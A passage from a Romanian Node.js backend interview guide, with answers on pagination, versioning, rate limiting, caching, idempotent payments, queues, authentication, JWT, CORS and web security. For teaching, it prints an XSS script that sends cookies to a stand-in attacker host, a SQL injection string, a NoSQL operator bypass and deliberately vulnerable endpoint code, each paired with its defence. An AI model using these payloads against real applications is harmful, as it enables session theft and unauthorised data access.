  app.js           # construiește aplicația Express (fără listen)
  server.js        # pornește serverul, graceful shutdown
tests/

Responsabilități:

  • controller-ul nu conține SQL și nici reguli de business; doar traduce HTTP în apeluri de funcții;
  • serviciul nu știe de req și res; primește date simple și întoarce rezultate sau aruncă erori de domeniu;
  • repository-ul izolează accesul la date, deci schimbarea ORM-ului sau a query-urilor nu atinge restul.

Separarea app.js de server.js permite testelor să importe aplicația cu supertest fără să deschidă un port.

Dependențele se pot injecta simplu, prin parametri de funcție sau constructori (new OrdersService({ ordersRepo, paymentsClient })), ceea ce face mocking-ul ușor în teste.

Organizarea pe module (feature folders) scalează mai bine decât controllers/, services/, models/ la rădăcină, pentru că tot ce ține de o funcționalitate stă împreună. NestJS impune o structură asemănătoare, cu module, controllere și provideri.

Ce urmărește intervievatorul: Arată dacă ai lucrat pe un proiect real, nu doar pe tutoriale cu totul în index.js. Se urmărește separarea responsabilităților și testabilitatea.

38 Mid

Cum implementezi paginarea într-un API? Compară offset-based cu cursor-based.

Răspuns scurt: Offset (LIMIT 20 OFFSET 40) e simplu și permite salt la orice pagină, dar devine lent pe tabele mari și poate dubla sau sări elemente. Cursorul (WHERE id < :cursor) e rapid și stabil, dar permite doar navigare secvențială.

Niciun endpoint care întoarce o colecție nu ar trebui să întoarcă tot. Paginarea protejează baza de date, memoria și rețeaua.

Offset/limit

SQL
SELECT id, title, created_at FROM posts
ORDER BY created_at DESC, id DESC
LIMIT 20 OFFSET 40;      -- pagina 3

Avantaje: simplă, clientul poate cere pagina 37, poți afișa numărul total de pagini. Dezavantaje: baza de date trebuie să parcurgă și să arunce primele OFFSET rânduri, deci pagina 5.000 e lentă. Dacă între timp se inserează un rând nou, elementele se decalează și utilizatorul vede un element de două ori.

Cursor (keyset)

SQL
SELECT id, title, created_at FROM posts
WHERE (created_at, id) < ($1, $2)
ORDER BY created_at DESC, id DESC
LIMIT 20;

Clientul primește un cursor opac (de exemplu valorile created_at și id ale ultimului element, codate base64) și îl trimite la cererea următoare:

GET /posts?limit=20&cursor=eyJjIjoiMjAyNi0xMC0zMCIsImkiOjk4MX0
{ "data": [...], "nextCursor": "..." }

Cu un index pe (created_at, id), fiecare pagină costă la fel, indiferent cât de departe ești. Comparația pe tuplu funcționează în PostgreSQL și MySQL. id intră în sortare ca departajare, ca ordinea să fie unică.

Recomandare uzuală: cursor pentru feed-uri, scroll infinit și API-uri publice cu volum mare; offset pentru tabele de administrare, unde saltul la pagină contează. Pune mereu o limită maximă la limit.

Ce urmărește intervievatorul: Se verifică gândirea despre performanță și consistență. Răspunsurile slabe se opresc la LIMIT/OFFSET fără să menționeze problemele.

39 Mid

Cum versionezi un API REST și cum introduci schimbări fără să strici clienții existenți?

Răspuns scurt: Cele mai folosite variante sunt versiunea în URL (/v1/orders), într-un header sau prin media type. Mai important decât schema aleasă este să faci doar schimbări compatibile în cadrul unei versiuni și să anunți și să deprecizi controlat versiunile vechi.

Un API public sau consumat de aplicații mobile nu poate schimba contractul peste noapte: o aplicație instalată pe un telefon poate rula versiunea veche luni de zile.

Variante de versionare:

  • în URL: /api/v1/orders; vizibil, ușor de rutat și de pus în cache, cel mai des întâlnit;
  • în header: Accept-Version: 2 sau un header custom; URL-uri curate, dar mai greu de testat din browser;
  • prin media type: Accept: application/vnd.firma.v2+json.

Schimbări compatibile (se pot face în aceeași versiune):

  • adaugi un câmp nou în răspuns;
  • adaugi un endpoint nou;
  • adaugi un parametru opțional.

Schimbări incompatibile (cer versiune nouă):

  • redenumești sau ștergi un câmp;
  • schimbi tipul unui câmp (price din număr în obiect);
  • un parametru opțional devine obligatoriu;
  • schimbi semantica unui status sau a unei erori.

Clienții trebuie să ignore câmpurile necunoscute, iar serverul să nu presupună că primește doar câmpuri cunoscute.

Ciclul de viață: rulezi v1 și v2 în paralel, marchezi v1 ca depreciată cu header-ele Deprecation și Sunset (RFC 8594), urmărești în loguri cine mai folosește v1 și o retragi după data anunțată.

În cod, versiunile pot partaja aceleași servicii, diferind doar la nivelul controllerelor sau al mapper-elor de răspuns. Un contract OpenAPI versionat în Git face schimbările vizibile la code review.

Ce urmărește intervievatorul: Verifică experiența cu API-uri consumate de alții. Greșeala tipică: schimbări incompatibile fără versiune nouă, „că oricum actualizăm și frontendul”.

40 Mid

Cum protejezi un API cu rate limiting?

Răspuns scurt: Limitezi numărul de request-uri pe client (IP, utilizator sau cheie API) într-o fereastră de timp și întorci 429 Too Many Requests cu Retry-After la depășire. Cu mai multe instanțe, contoarele trebuie ținute într-un loc comun, de obicei Redis.

Rate limiting-ul protejează împotriva abuzului (brute force pe login, scraping), a clienților cu bug-uri care trimit cereri în buclă și a supraîncărcării serviciilor scumpe.

Algoritmi uzuali:

  • fixed window: maxim N cereri pe minut calendaristic; simplu, dar permite vârfuri de 2N la granița dintre ferestre;
  • sliding window: aproximează o fereastră glisantă, fără vârfurile de la graniță;
  • token bucket: o găleată se umple cu token-uri într-un ritm constant, fiecare cerere consumă unul; permite rafale scurte, dar limitează media.

Exemplu cu express-rate-limit:

JavaScript
import rateLimit from 'express-rate-limit';

const loginLimiter = rateLimit({
  windowMs: 15 * 60 * 1000,
  limit: 10,
  standardHeaders: 'draft-7',
  keyGenerator: (req) => `${req.ip}:${req.body?.email ?? ''}`,
});

app.post('/auth/login', loginLimiter, login);

Puncte de discutat:

  • stocare: memoria procesului funcționează doar pentru o singură instanță; cu mai multe, folosești un store Redis, altfel limita reală se înmulțește cu numărul de instanțe;
  • identificarea clientului: în spatele unui proxy sau load balancer, IP-ul real vine din X-Forwarded-For; în Express setezi app.set('trust proxy', 1) corect, altfel toți utilizatorii par a avea același IP;
  • limite diferite: stricte pe login și resetare parolă, mai largi pe citiri, pe plan de abonament pentru chei API;
  • unde: adesea se aplică și la marginea infrastructurii (API gateway, Nginx, CDN), iar aplicația păstrează limitele care depind de utilizator.

Ce urmărește intervievatorul: Se verifică gândirea operațională și de securitate. Greșeala tipică: limitare în memorie cu mai multe instanțe sau ignorarea proxy-ului.

41 Mid

Ce strategii de caching folosești într-un backend Node.js?

Răspuns scurt: Pe lângă cache-ul HTTP controlat prin Cache-Control și ETag, folosești un cache partajat ca Redis pentru date scumpe de calculat, de obicei cu pattern-ul cache-aside și un TTL. Partea grea nu este punerea în cache, ci invalidarea corectă.

Cache HTTP, controlat de server prin headere:

  • Cache-Control: public, max-age=300 permite browserului și CDN-ului să păstreze răspunsul 5 minute;
  • Cache-Control: private, no-store pentru date personale;
  • ETag: un hash al conținutului; clientul trimite If-None-Match, iar serverul răspunde 304 Not Modified fără body dacă nu s-a schimbat nimic. Express generează ETag-uri automat pentru res.send.

Cache în aplicație, cu Redis, pattern-ul cache-aside:

JavaScript
async function getProduct(id) {
  const key = `product:${id}`;
  const cached = await redis.get(key);
  if (cached) return JSON.parse(cached);

  const product = await productsRepo.findById(id);
  if (product) await redis.set(key, JSON.stringify(product), { EX: 600 });
  return product;
}

async function updateProduct(id, data) {
  const p = await productsRepo.update(id, data);
  await redis.del(`product:${id}`);   // invalidare la scriere
  return p;
}

Un cache în memoria procesului (un Map cu limită) e mai rapid, dar fiecare instanță are copia ei și pot apărea date inconsistente între instanțe.

Probleme de discutat:

  • invalidarea: ștergi cheia la update, iar TTL-ul acoperă cazurile scăpate;
  • cache stampede: când o cheie populară expiră, sute de cereri lovesc simultan baza de date; soluții: lock la regenerare, deduplicarea promisiunilor în curs, expirare cu jitter;
  • ce nu pui în cache: date specifice utilizatorului sub chei globale, ceea ce poate expune datele unui client altuia;
  • măsori rata de hit; un cache cu hit rate mic doar adaugă latență și complexitate.

Ce urmărește intervievatorul: Verifică dacă știi să gândești costul și riscurile cache-ului. Răspunsul bun menționează invalidarea și scurgerea de date între utilizatori.

42 Mid

Când ai alege REST, GraphQL sau gRPC pentru un API?

Răspuns scurt: REST este alegerea implicită pentru API-uri publice și CRUD, cu cache HTTP simplu. GraphQL ajută când clienții au nevoie de forme diferite ale datelor. gRPC se potrivește comunicării interne între servicii, cu contracte stricte și performanță mare.

REST

  • avantaje: simplu, universal, ușor de testat cu curl, cache HTTP și CDN funcționează natural, coduri de status standard;
  • dezavantaje: over-fetching (primești câmpuri inutile) și under-fetching (ai nevoie de mai multe cereri pentru un ecran), versionare explicită.

GraphQL

  • clientul cere exact câmpurile de care are nevoie, într-o singură cerere, pe baza unei scheme tipizate;
query { user(id: 7) { name orders(last: 3) { id total } } }
  • avantaje: bun pentru aplicații mobile și frontend-uri cu ecrane complexe, schema servește ca documentație, evoluție fără versiuni (deprecizi câmpuri);
  • dezavantaje: cache HTTP mai dificil (totul e POST /graphql), problema N+1 în resolvere (rezolvată cu DataLoader), nevoia de a limita adâncimea și complexitatea query-urilor ca să nu fie folosite pentru atacuri de tip denial of service, autorizare la nivel de câmp.

gRPC

  • contract definit în fișiere .proto, cod client/server generat, serializare binară, streaming bidirecțional peste HTTP/2;
  • avantaje: rapid, tipuri stricte între servicii scrise în limbaje diferite, deadline-uri și anulare integrate;
  • dezavantaje: nu rulează direct din browser fără gRPC-Web și un proxy, mai greu de inspectat manual.

Alegerea depinde de consumatori: un API public pentru parteneri e de obicei REST cu OpenAPI; un backend-for-frontend pentru o aplicație bogată poate fi GraphQL; microserviciile interne cu trafic mare pot folosi gRPC. Combinația lor în aceeași companie este frecventă.

Ce urmărește intervievatorul: Se verifică dacă poți argumenta compromisuri, nu doar descrie tehnologii. Greșeala tipică este prezentarea uneia ca fiind „mai bună” în general.

43 Senior

Cum faci ca un endpoint de tip POST /payments să fie sigur la reîncercări (idempotent)?

Răspuns scurt: Clientul trimite o cheie unică de idempotență în header (de exemplu Idempotency-Key). Serverul salvează cheia împreună cu rezultatul, atomic, iar la o cerere repetată cu aceeași cheie întoarce rezultatul salvat în loc să proceseze din nou.

Scenariul: clientul trimite plata, serverul o procesează, dar răspunsul se pierde pe rețea. Clientul reîncearcă. Fără protecție, utilizatorul plătește de două ori. Același tipar este folosit de procesatori de plăți ca Stripe.

Implementare:

SQL
CREATE TABLE idempotency_keys (
  key          text PRIMARY KEY,
  user_id      bigint NOT NULL,
  request_hash text NOT NULL,
  status       text NOT NULL,         -- 'processing' | 'done'
  response     jsonb,
  created_at   timestamptz DEFAULT now()
);

Fluxul pentru fiecare cerere:

1. Încerci INSERT ... (key, user_id, request_hash, 'processing'). Cheia primară garantează că doar o cerere câștigă, chiar dacă două sosesc simultan pe instanțe diferite. 2. Dacă inserarea reușește, procesezi plata și actualizezi rândul cu status = 'done' și răspunsul. 3. Dacă cheia există deja:

  • cu status = 'done': întorci răspunsul salvat;
  • cu status = 'processing': întorci 409 Conflict sau ceri clientului să reîncerce mai târziu;
  • cu request_hash diferit: întorci 422, pentru că aceeași cheie a fost folosită pentru alt conținut.

Aspecte de nivel senior:

  • dacă procesarea implică un apel extern (procesatorul de plăți), transmiți și lui o cheie de idempotență, altfel problema se mută acolo;
  • cheile expiră după o perioadă (de exemplu 24 de ore), cu un job de curățare;
  • dacă procesul moare între pașii 1 și 2, ai nevoie de o regulă pentru cheile blocate în processing (timeout și reluare);
  • cheia este legată de utilizator, ca un client să nu poată citi răspunsul altuia ghicind cheia.

Pentru operații interne, uneori ajunge o constrângere unică pe un ID de business (de exemplu order_id unic în tabelul de plăți).

Ce urmărește intervievatorul: Problemă tipică de nivel senior în domenii cu bani. Se urmărește atomicitatea și tratarea cererilor concurente.

44 Senior

Cum ai proiecta trimiterea de emailuri și alte sarcini lente astfel încât să nu încetinească request-urile?

Răspuns scurt: Request-ul doar salvează datele și pune un job într-o coadă (de exemplu BullMQ peste Redis, RabbitMQ sau SQS), apoi răspunde imediat. Worker-e separate preiau job-urile, cu reîncercări, backoff și o coadă pentru job-urile eșuate definitiv.

Trimiterea unui email, generarea unui PDF sau apelul către un serviciu extern pot dura secunde și pot eșua. Dacă le faci în request, utilizatorul așteaptă, iar o eroare a furnizorului de email strică o comandă altfel corectă.

Arhitectura:

JavaScript
// în API
await db.transaction(async (tx) => {
  const order = await ordersRepo.create(tx, data);
  await outboxRepo.add(tx, { type: 'order.created', payload: { orderId: order.id } });
});
res.status(201).json(order);

// în worker (proces separat), cu BullMQ
new Worker('emails', async (job) => {
  await mailer.sendOrderConfirmation(job.data.orderId);
}, { connection: redis, concurrency: 10 });

Problema scrierii duble. Dacă salvezi comanda în baza de date și apoi pui job-ul în Redis, procesul poate muri între cele două operații: comanda există, emailul nu pleacă niciodată. Pattern-ul outbox rezolvă asta: evenimentul se scrie în aceeași tranzacție cu comanda, într-un tabel outbox, iar un proces separat îl citește și îl publică în coadă.

Proprietăți de urmărit:

  • at-least-once: majoritatea cozilor pot livra un job de mai multe ori, deci handler-ele trebuie să fie idempotente (de exemplu marchezi emailul ca trimis și verifici înainte);
  • retry cu backoff și număr maxim de încercări, apoi dead-letter queue pentru analiză manuală;
  • concurență limitată, ca să respecți limitele furnizorului;
  • observabilitate: dimensiunea cozii, job-uri eșuate, vechimea celui mai vechi job;
  • scalare independentă: worker-ii se scalează separat de API.

Pentru utilizator, rezultatul se comunică ulterior prin email, notificare, websocket sau un endpoint de status (202 Accepted plus GET /jobs/:id).

Ce urmărește intervievatorul: Întrebare de design pentru nivel senior. Diferența o face menționarea problemei scrierii duble (outbox) și a idempotenței consumatorilor.

45 Senior

Proiectează un serviciu de scurtare a URL-urilor (de tipul bit.ly). Ce componente și ce decizii ai lua?

Răspuns scurt: Un API care primește URL-ul lung și generează un cod scurt unic, o tabelă code -> url cu index unic și un endpoint de redirect foarte rapid, cu cache. Deciziile cheie sunt generarea codului, tipul de redirect, cache-ul și protecția împotriva abuzului.

La interviu, începi prin a clarifica cerințele: volumul estimat de creări și de redirect-uri, dacă linkurile expiră, dacă există coduri personalizate și statistici. Raportul citiri/scrieri este de obicei foarte mare, deci redirect-ul este calea critică.

API:

POST /links      {"url": "https://..."}  -> 201 {"code": "aZ3kP9q"}
GET  /:code      -> 301/302 Location: https://...

Generarea codului, variante:

  • un ID numeric autoincrementat codat în base62 ([0-9a-zA-Z]); scurt și fără coliziuni, dar codurile sunt previzibile;
  • 7 caractere aleatoare din base62 (aproximativ 3,5 trilioane de combinații), cu INSERT pe o coloană UNIQUE și reîncercare la coliziune;
  • un hash al URL-ului trunchiat; deduplică linkuri identice, dar coliziunile trebuie tratate.

Stocare: tabel links(code PRIMARY KEY, url, owner_id, created_at, expires_at). Volumul de date pe rând e mic, iar un singur PostgreSQL duce mult înainte de a fi nevoie de sharding; un key-value store e și el potrivit.

Redirect: 302 dacă vrei să numeri fiecare click (browserul nu îl pune în cache permanent); 301 reduce traficul, dar pierzi statisticile. Citirea trece prin Redis sau un cache local cu TTL; linkurile populare stau aproape mereu în cache.

Statistici: nu scrii în baza de date sincron la fiecare click; publici un eveniment într-o coadă și agregi asincron.

Abuz și securitate: validezi schema URL-ului (doar http/https), verifici liste de domenii periculoase, rate limiting pe creare, coduri nepredictibile dacă linkurile sunt private.

Arată și cum ai scala: instanțe stateless în spatele unui load balancer, replici de citire, CDN în fața redirect-urilor.

Ce urmărește intervievatorul: Întrebare clasică de system design. Se evaluează clarificarea cerințelor, argumentarea compromisurilor și identificarea căii critice.

Autentificare și securitate API

46 Junior

Care este diferența dintre autentificare și autorizare?

Răspuns scurt: Autentificarea răspunde la întrebarea „cine ești?” (verifici identitatea prin parolă, token, cheie), iar autorizarea la „ce ai voie să faci?” (verifici permisiunile pentru o resursă sau acțiune). Autentificarea vine întâi, autorizarea se verifică la fiecare operație.

Într-un API, cele două corespund unor pași și unor coduri de status diferite:

  • autentificare eșuată (lipsește token-ul, e expirat, semnătura nu e validă): 401 Unauthorized;
  • autorizare eșuată (știm cine ești, dar nu ai voie): 403 Forbidden, sau 404 dacă nu vrei să confirmi că resursa există.
JavaScript
app.get('/orders/:id', authenticate, async (req, res) => {
  const order = await orders.findById(req.params.id);
  if (!order) throw new NotFoundError('Comanda');
  if (order.userId !== req.user.id && req.user.role !== 'admin') {
    throw new ForbiddenError();
  }
  res.json(order);
});

authenticate verifică token-ul și pune req.user. Verificarea de proprietar din handler este autorizare.

Modele uzuale de autorizare:

  • RBAC (role-based access control): permisiuni pe roluri (admin, editor, user);
  • ABAC (attribute-based): reguli pe atribute ale utilizatorului și resursei (aceeași firmă, document publicat);
  • ownership: utilizatorul accesează doar resursele proprii.

Greșeala cea mai periculoasă în practică este să faci autentificarea corect și să uiți autorizarea la nivel de obiect: oricine e logat poate citi /orders/123 schimbând ID-ul. Este prima categorie din OWASP API Security Top 10.

Autorizarea se face mereu pe server; ascunderea unui buton în interfață nu este control de acces.

Ce urmărește intervievatorul: Întrebare de bază, dar se urmărește dacă știi unde se aplică fiecare în cod. Confuzia 401/403 și lipsa verificării de proprietar sunt greșelile tipice.

47 Junior

Cum stochezi parolele utilizatorilor în baza de date?

Răspuns scurt: Nu le stochezi niciodată în clar sau criptate reversibil. Stochezi un hash obținut cu un algoritm lent, special pentru parole (Argon2id, bcrypt sau scrypt), cu un salt unic per utilizator, iar la login compari hash-ul parolei introduse cu cel salvat.

Dacă baza de date este furată, atacatorul nu trebuie să poată afla parolele, mai ales că mulți oameni refolosesc aceeași parolă pe mai multe site-uri.

De ce nu orice hash: SHA-256 sau MD5 sunt gândite să fie rapide. Un GPU poate încerca miliarde de variante pe secundă, deci parolele obișnuite cad repede. Algoritmii pentru parole sunt intenționat lenți și configurabili:

  • Argon2id: recomandarea principală în ghidul OWASP actual, rezistent și la atacuri cu GPU prin consum de memorie;
  • bcrypt: foarte răspândit, sigur cu un cost adecvat (de exemplu 12); are limita de 72 de octeți pentru parolă;
  • scrypt: disponibil direct în node:crypto.

Salt-ul este o valoare aleatoare unică per parolă, stocată împreună cu hash-ul. Face ca doi utilizatori cu aceeași parolă să aibă hash-uri diferite și invalidează tabelele precalculate. Bibliotecile îl generează și îl includ automat în string-ul rezultat.

JavaScript
import bcrypt from 'bcrypt';

const hash = await bcrypt.hash(password, 12);      // la înregistrare
const ok = await bcrypt.compare(input, user.passwordHash); // la login

Folosește variantele asincrone: hashing-ul durează intenționat zeci sau sute de milisecunde, iar varianta sincronă ar bloca event loop-ul.

Alte bune practici:

  • același mesaj de eroare pentru „email inexistent” și „parolă greșită”;
  • rate limiting pe login;
  • re-hash la login dacă ai crescut costul;
  • verificarea parolelor noi față de liste de parole compromise.

Ce urmărește intervievatorul: Întrebare de securitate obligatorie. Răspunsurile „le criptez” sau „SHA-256” sunt semnale negative serioase.

48 Junior

Care este diferența dintre autentificarea cu sesiuni (cookie) și cea cu JWT?

Răspuns scurt: Cu sesiuni, serverul păstrează starea, iar clientul are doar un ID opac în cookie. Cu JWT, starea stă în token-ul semnat, verificat fără căutare în baza de date, dar greu de revocat înainte de expirare.

Sesiuni cu cookie

La login, serverul creează o înregistrare session_id -> { userId, ... } într-un store partajat și trimite ID-ul în cookie:

Set-Cookie: sid=9f8c...; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=86400

La fiecare request, serverul caută sesiunea. Avantaje: revocare instantanee (ștergi sesiunea), token mic, cookie-ul HttpOnly nu poate fi citit din JavaScript, deci un atac XSS nu îl poate fura direct. Dezavantaj: un lookup la fiecare cerere și un store comun pentru toate instanțele.

JWT (JSON Web Token)

Token-ul conține claims (sub, exp, role) și o semnătură. Serverul verifică semnătura și expirarea, fără bază de date. Avantaje: verificare rapidă, potrivit pentru mai multe servicii care au doar cheia publică (cu RS256 sau ES256), pentru aplicații mobile și pentru API-uri între servicii. Dezavantaje: un token furat rămâne valid până expiră; revocarea cere o listă de blocare sau token-uri cu viață scurtă și refresh token; datele din token pot deveni învechite (rolul schimbat nu se vede până la reemitere).

Unde ții token-ul în browser: localStorage este accesibil oricărui script, deci un XSS îl poate fura. Un cookie HttpOnly este mai sigur, dar atunci trebuie să te gândești la CSRF (atenuat de SameSite).

Recomandare uzuală: pentru o aplicație web clasică cu backend propriu, sesiunile sunt simple și sigure; JWT are sens pentru API-uri consumate de aplicații mobile, mai multe servicii sau terți.

Ce urmărește intervievatorul: Se urmărește dacă înțelegi compromisurile, nu doar că JWT e „modern”. Greșeala tipică este să ignori revocarea.

49 Junior

Cum este structurat un JWT și ce nu trebuie să pui în el?

Răspuns scurt: Un JWT are trei părți codate base64url, separate prin punct: header (algoritmul), payload (claims) și semnătura. Payload-ul doar este codat, nu criptat, deci oricine îl poate citi: nu pui parole, date personale sensibile sau secrete în el.

Un token arată așa: xxxxx.yyyyy.zzzzz.

  • Header: { "alg": "HS256", "typ": "JWT" };
  • Payload: claims precum sub (ID utilizator), exp (expirare, timestamp în secunde), iat (emis la), iss (emitent), aud (destinatar), plus claims proprii (role);
  • Semnătura: calculată peste header și payload cu o cheie secretă (HS256) sau cu o cheie privată (RS256, ES256).

Semnătura garantează integritatea: dacă cineva schimbă role în admin, semnătura nu mai corespunde. Dar oricine poate decoda și citi payload-ul, de exemplu cu atob în consola browserului.

JavaScript
import jwt from 'jsonwebtoken';

const token = jwt.sign({ sub: user.id, role: user.role }, config.JWT_SECRET, {
  expiresIn: '15m', issuer: 'api.exemplu.ro', audience: 'web',
});

const payload = jwt.verify(token, config.JWT_SECRET, {
  algorithms: ['HS256'], issuer: 'api.exemplu.ro', audience: 'web',
});

Greșeli de securitate cunoscute:

  • folosirea lui jwt.decode în loc de jwt.verify, adică citirea fără verificarea semnăturii;
  • neprecizarea listei de algoritmi acceptați; istoric, unele biblioteci acceptau alg: none sau confundau cheia publică RS256 cu secret HMAC;
  • un secret HS256 scurt sau ghicibil, care poate fi spart offline;
  • token-uri fără exp sau cu valabilitate de luni;
  • date personale în payload, care ajung în loguri și în istoricul browserului.

Ține payload-ul mic: ID-ul utilizatorului și informațiile minime necesare pentru autorizare.

Ce urmărește intervievatorul: Verifică înțelegerea diferenței dintre semnare și criptare. Mulți candidați cred că JWT „ascunde” datele.

50 Junior

Ce este SQL injection și cum îl previi într-o aplicație Node.js?

Răspuns scurt: SQL injection apare când input-ul utilizatorului este concatenat în textul unui query, astfel încât poate schimba structura comenzii SQL. Îl previi folosind mereu query-uri parametrizate (prepared statements) sau un ORM/query builder care le folosește, niciodată concatenare de string-uri.

Cod vulnerabil:

JavaScript
const sql = `SELECT * FROM users WHERE email = '${req.body.email}'`;
await pool.query(sql);

Dacă atacatorul trimite ' OR '1'='1, query-ul devine WHERE email = '' OR '1'='1' și întoarce toți utilizatorii. Cu alte input-uri poate citi alte tabele prin UNION, poate modifica date sau, în funcție de permisiuni, poate șterge tabele.

Varianta corectă, cu parametri (exemplu cu pg):

JavaScript
const { rows } = await pool.query(
  'SELECT id, email FROM users WHERE email = $1',
  [req.body.email],
);

Valoarea este trimisă separat de textul query-ului, iar baza de date o tratează strict ca dată, indiferent ce caractere conține. În mysql2 se folosesc ? ca placeholdere, cu execute.

Capcane care apar și când folosești un ORM:

  • metodele de „raw query” (sequelize.query, prisma.$queryRawUnsafe, knex.raw) cu interpolare de string-uri sunt la fel de vulnerabile; Prisma are $queryRaw cu template tag, care parametrizează automat;
  • numele de coloane și direcția de sortare nu pot fi parametri; pentru ORDER BY ${req.query.sort} folosești o listă albă de valori permise;
  • operatorii din NoSQL: în MongoDB, un body { "password": { "$ne": null } } poate ocoli o verificare (NoSQL injection); validarea tipurilor cu o schemă previne asta.

Ca apărare suplimentară, utilizatorul de bază de date al aplicației are doar permisiunile necesare, fără drept de DROP sau de acces la alte scheme.

Ce urmărește intervievatorul: Este una dintre cele mai cunoscute vulnerabilități, întrebată la orice nivel. Se urmărește menționarea parametrizării și a cazurilor unde ORM-ul nu te protejează.

51 Mid

Ce este CORS și cum îl configurezi corect pe un API?

Răspuns scurt: CORS (Cross-Origin Resource Sharing) este mecanismul prin care un server îi spune browserului ce alte origini au voie să îi citească răspunsurile. Se configurează prin headere ca Access-Control-Allow-Origin, cu o listă explicită de origini permise, nu cu * atunci când folosești cookie-uri.

Browserele aplică same-origin policy: un script de pe https://app.exemplu.ro nu poate citi răspunsurile de la https://api.exemplu.ro, pentru că originea (schemă, domeniu, port) diferă. CORS este modul controlat de a relaxa această regulă.

Important: CORS este impus de browser. Nu protejează API-ul de curl, Postman sau alt server. Nu este un mecanism de autentificare.

Pentru cereri „ne-simple” (de exemplu PUT, DELETE, Content-Type: application/json sau header-ul Authorization), browserul trimite întâi un preflight:

OPTIONS /orders
Origin: https://app.exemplu.ro
Access-Control-Request-Method: POST
Access-Control-Request-Headers: content-type, authorization

Serverul răspunde cu ce permite, iar browserul trimite cererea reală doar dacă se potrivește.

Configurare cu pachetul cors în Express:

JavaScript
import cors from 'cors';

const allowed = ['https://app.exemplu.ro', 'https://admin.exemplu.ro'];
app.use(cors({
  origin: (origin, cb) => cb(null, !origin || allowed.includes(origin)),
  credentials: true,
  maxAge: 600,
}));

Reguli:

  • cu credentials: true (cookie-uri), Access-Control-Allow-Origin nu poate fi *; browserul refuză;
  • nu reflecta orbește header-ul Origin primit; asta echivalează cu a permite oricui;
  • maxAge reduce numărul de preflight-uri;
  • o eroare CORS în consolă înseamnă adesea că serverul a răspuns cu eroare (500, 404) fără headerele CORS, nu neapărat că lista e greșită.

Ce urmărește intervievatorul: Erorile CORS sunt o sursă constantă de confuzie între frontend și backend. Se verifică dacă știi că protecția este în browser și ce face preflight-ul.

52 Mid

Cum implementezi access token și refresh token și de ce ai nevoie de amândouă?

Răspuns scurt: Access token-ul are viață scurtă (minute) și se trimite la fiecare request; refresh token-ul are viață lungă, se folosește doar la endpoint-ul de reînnoire și este stocat pe server ca să poată fi revocat. Combinația reduce daunele unui token furat fără a cere login des.

Un JWT nu poate fi revocat ușor. Dacă îi dai valabilitate de 30 de zile, un token furat funcționează 30 de zile. Dacă îi dai 15 minute, utilizatorul trebuie să se logheze des. Soluția este separarea.

Fluxul:

1. La login, serverul emite un access token (JWT, 10–15 minute) și un refresh token (string aleator lung, zile sau săptămâni). 2. Clientul trimite access token-ul în Authorization: Bearer .... 3. La expirare (401), clientul cheamă POST /auth/refresh cu refresh token-ul și primește o pereche nouă. 4. La logout, refresh token-ul este revocat în baza de date.

Stocare pe server: salvezi un hash al refresh token-ului (nu valoarea), cu user_id, expires_at, family_id și revoked_at. Dacă baza e compromisă, token-urile nu pot fi folosite direct.

Rotație și detecția refolosirii:

refresh(token):
  rec = find(hash(token))
  if !rec or rec.expired -> 401
  if rec.revoked -> revocă toată familia (posibil furt) -> 401
  marchează rec ca revocat
  emite access nou + refresh nou în aceeași familie

Fiecare refresh token este de unică folosință. Dacă un token deja folosit apare din nou, înseamnă că l-au folosit două părți (utilizatorul și un atacator), deci revoci toată sesiunea.

În browser: refresh token-ul stă într-un cookie HttpOnly; Secure; SameSite=Strict cu Path=/auth/refresh, ca să nu fie trimis la alte rute și să nu fie accesibil din JavaScript.

Atenție la cererile paralele: dacă frontendul face cinci cereri simultan cu token-ul expirat, trebuie să facă un singur refresh, altfel rotația poate declanșa detecția de refolosire.

Ce urmărește intervievatorul: Se verifică dacă înțelegi de ce există refresh token-ul și cum se revocă. Greșeala tipică: refresh token tot JWT, nestocat și nerevocabil.

53 Mid

Ce sunt XSS și CSRF și cum te privesc ca backend developer?

Răspuns scurt: XSS (Cross-Site Scripting) înseamnă injectarea de JavaScript care rulează în browserul altui utilizator, de obicei prin date nevalidate afișate în pagină. CSRF (Cross-Site Request Forgery) înseamnă că un site străin face browserul victimei să trimită cereri autentificate către aplicația ta, folosind cookie-urile existente.

XSS. Un utilizator salvează în profil un nume ca <script>fetch('https://atacator/?c='+document.cookie)</script>. Dacă aplicația afișează numele fără escapare, scriptul rulează pentru oricine vede profilul.

Ce face backend-ul:

  • validează și limitează input-ul, dar mai ales nu generează HTML din string-uri concatenate; motoarele de template și framework-urile moderne escapează implicit;
  • dacă acceptă HTML (editor de text), îl curăță cu o bibliotecă dedicată (de exemplu DOMPurify sau sanitize-html) pe o listă albă de taguri;
  • trimite Content-Security-Policy, care limitează sursele de scripturi;
  • pune token-urile de sesiune în cookie-uri HttpOnly, ca un XSS să nu le poată citi;
  • răspunsurile JSON au Content-Type: application/json corect, ca să nu fie interpretate ca HTML.

CSRF. Victima este logată în aplicația ta. Vizitează un site rău intenționat care trimite automat un formular POST https://banca.ro/transfer. Browserul atașează cookie-ul de sesiune, iar serverul crede că cererea vine de la utilizator.

Apărări:

  • cookie-uri cu SameSite=Lax (implicit în browserele moderne) sau Strict, care nu sunt trimise la cererile cross-site de tip POST;
  • token CSRF pentru formulare (o valoare secretă inclusă în formular și verificată pe server);
  • verificarea header-ului Origin la cererile care modifică date;
  • operațiile care modifică date nu se fac niciodată prin GET.

Un API care se autentifică doar cu Authorization: Bearer din JavaScript nu este expus la CSRF, pentru că browserul nu adaugă header-ul automat, dar este mai expus la XSS dacă token-ul stă în localStorage.

Ce urmărește intervievatorul: Se verifică înțelegerea modului în care backend-ul contribuie la securitatea browserului. Confuzia dintre XSS și CSRF este frecventă.

54 Mid

Ce este BOLA (Broken Object Level Authorization) și cum îl previi?

Răspuns scurt: BOLA apare când un endpoint primește ID-ul unui obiect și îl întoarce sau îl modifică fără să verifice că utilizatorul are drept asupra lui. Este prima categorie din OWASP API Security Top 10 și se previne verificând accesul la fiecare obiect.

Exemplu vulnerabil:

JavaScript
app.get('/invoices/:id', authenticate, async (req, res) => {
  const invoice = await db.invoice.findUnique({ where: { id: req.params.id } });
  res.json(invoice);
});

Utilizatorul este autentificat, dar poate schimba id și citi facturile altora. Cu ID-uri numerice secvențiale, un script le poate descărca pe toate în câteva minute.

Variantă corectă, cu filtrare după proprietar în query:

JavaScript
const invoice = await db.invoice.findFirst({
  where: { id: req.params.id, companyId: req.user.companyId },
});
if (!invoice) throw new NotFoundError('Factura');

Răspunsul 404 (nu 403) evită confirmarea existenței resursei.

Practici care previn BOLA sistematic:

